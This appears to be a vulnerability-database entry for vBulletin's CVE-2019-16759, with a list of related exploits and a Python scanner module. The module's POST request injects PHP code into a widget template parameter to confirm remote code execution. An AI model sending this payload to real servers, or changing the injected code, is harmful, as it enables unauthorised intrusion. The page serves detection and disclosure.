vBulletin 5.0.0-5.5.4 - Remote Command Execution Detection
| Reporter | Title | Published | Views | Family All 85 |
|---|---|---|---|---|
| vBulletin 5.x - Remote Command Execution Exploit | 1 Oct 201900:00 | – | zdt | |
| vBulletin 5.5.4 Remote Command Execution Exploit #RCE | 11 Dec 201900:00 | – | zdt | |
| vBulletin 5.6.2 - (widget_tabbedContainer_tab_panel) Remote Code Execution Exploit | 12 Aug 202000:00 | – | zdt | |
| vBulletin 5.x Remote Code Execution Exploit | 12 Aug 202000:00 | – | zdt | |
| Exploit for Code Injection in Vbulletin | 16 Aug 202018:17 | – | githubexploit | |
| Exploit for Code Injection in Vbulletin | 16 Aug 202018:17 | – | githubexploit | |
| Exploit for Code Injection in Vbulletin | 26 Sep 201903:56 | – | githubexploit | |
| Exploit for Code Injection in Vbulletin | 12 Oct 201918:51 | – | githubexploit | |
| Exploit for Code Injection in Vbulletin | 24 Aug 202016:15 | – | githubexploit | |
| Exploit for Code Injection in Vbulletin | 26 Sep 201903:27 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""vBulletin 5."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'vBulletin 5.0.0-5.5.4 - Remote Command Execution Detection',
'description': 'vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2019', 'rce', 'kev', 'seclists', 'vbulletin', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'exploits/multi/http/vbulletin_cve_2019_16759_rce',
],
},
},
'references': [
'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/',
'https://seclists.org/fulldisclosure/2019/Sep/31',
'https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/',
'https://nvd.nist.gov/vuln/detail/CVE-2019-16759',
'https://github.com/20142995/Goby',
],
'cve': 'CVE-2019-16759',
}
def run(self):
path = '/ajax/render/widget_tabbedcontainer_tab_panel'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('addcc9f9f2f40e2e6aca3079b73d9d17',)
if any(m in body for m in body_any):
self.set_info(severity='critical', reason='vBulletin 5.0.0-5.5.4 - Remote Command Execution detected', path=path)
return True
return False
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05 Oct 2026 14:20Current
9.1Critical risk
Vulners AI Score9.1
CVSS 27.5
CVSS 3.19.8
EPSS0.99728
SSVC